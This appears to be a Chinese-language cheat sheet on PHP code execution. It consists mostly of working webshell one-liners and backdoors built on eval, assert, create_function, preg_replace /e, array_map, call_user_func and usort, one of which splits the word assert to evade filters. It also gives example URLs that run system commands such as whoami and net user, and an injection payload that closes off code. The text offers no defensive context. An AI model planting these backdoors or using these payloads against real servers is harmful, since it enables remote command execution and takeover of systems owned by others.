php代码执行总结
先说一下php注释方法
用双斜杠 //
单行注释:
// @eval($_POST[1]);
多行注释
/* echo `````;*/
eval
eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>
assert
assert($_REQUEST[cmd]);
create_function
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>
第二种
在$a 构造payload 进行代码闭合,造成任意代码执行
id=2;}phpinfo();/*
![]()
preg_replace
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
代码:
preg_replace('匹配的字符','替换匹配到的字符',‘要匹配的字符串’);
问题出在/e修饰 导致执行php代码

1=/ab/e&2=system(%27net%20user%27);
array_map($arr,$test)
$arr 为要执行的函数
$test 为函数内执行的命令 这里一般是个数组,会遍历数组的内容进行执行 所以传参记得以数组类型。(should be an array)
比如system 函数的执行
http://127.0.0.1/exec.php?arr=system&a[0]=whoami
http://127.0.0.1/exec.php?arr=assert&a[0]=phpinfo() //方便代码执行

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
@call_user_func(assert,$_GET['cmd']);
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
$cmd[0]=$_GET['cmd'];
@call_user_func_array(assert,$cmd);
call_user_func(调用函数,执行命令)`
call_user_func_array(调用函数,执行命令)
array_filter()
http://127.0.0.1/exec.php?func=system&cmd[0]=whoami

php环境>=<5.6才能用 <?php usort($_GET,'asse'.'rt');?> 利用方式: test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();
动态函数执行
<?php
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>


浙公网安备 33010602011771号